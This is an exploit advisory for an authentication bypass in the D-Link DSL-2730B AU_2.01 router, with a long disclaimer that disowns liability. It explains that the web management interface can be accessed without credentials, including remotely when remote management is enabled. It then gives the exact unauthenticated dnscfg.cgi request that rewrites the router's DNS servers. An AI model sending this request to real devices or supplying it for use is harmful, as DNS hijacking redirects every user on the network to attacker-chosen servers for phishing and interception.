D-Link DSL-2730B AU_2.01 – Authentication Bypass DNS Change
D-Link DSL-2730B AU_2.01 Authentication Bypass DNS Change Copyright 2015 (c) Todor Donev <todor.donev at gmail.com> http://www.ethical-hacker.org/ https://www.facebook.com/ethicalhackerorg Disclaimer: This or previous programs is for Educational purpose ONLY. Do not use it without permission. The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages caused by direct or indirect use of the information or functionality provided by these programs. The author or any Internet provider bears NO responsibility for content or misuse of these programs or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, system crash, system compromise, etc.) caused by the use of these programs is not Todor Donev's responsibility. Use them at your own risk! This security hole allows an attacker to bypass authentication and change the DNS. When the administrator is logged in the web management interface, an attacker may be able to completely bypass authentication phase and connect to the web management interface with administrator's credentials. This attack can also be performed by an external attacker who connects to the router's public IP address, if remote management is enabled. To change the DNS without logging into web management interface use the following URL: http://TARGET/dnscfg.cgi?dnsPrimary=8.8.8.8&dnsSecondary=8.8.4.4&dnsDynamic=0&dnsRefresh=1&dnsIfcsList= |